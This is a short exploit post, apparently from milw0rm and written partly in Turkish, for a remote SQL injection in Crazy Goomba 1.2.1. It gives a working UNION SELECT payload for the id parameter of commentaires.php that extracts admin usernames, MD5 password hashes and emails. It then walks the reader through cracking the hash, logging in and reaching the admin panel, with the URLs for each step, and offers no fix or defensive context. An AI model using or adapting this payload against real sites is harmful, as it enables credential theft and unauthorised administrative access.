Crazy Goomba 1.2.1 (id) Remote SQL Injection Vulnerability

Bu açıkla mevcut sitede admin hash ve nick ine ulaşmak mümkün. kritik bir açık.

Crazy Goomba 1.2.1 (id) Remote SQL Injection Vulnerability

http://localhost/Crazy_Goomba_1.2.1_path/commentaires.php?id=[SQL]

[SQL]1'/**/union/**/select/**/0,pseudo,password,email,id,0,0/**/from/**/cg_joueurs/**

( [SQL] yazan yere kodu yaz admin name, password(md5) ve email adresine ulas )md5 i kır ve giris yap

http://localhost/Crazy_Goomba_1.2.1_path/index.php?page=connexion ( login )

sonra admin panele baglanadmin panel:

http://localhost/Crazy_Goomba_1.2.1_path/administration/admin.php

# milw0rm.com [2008-04-21]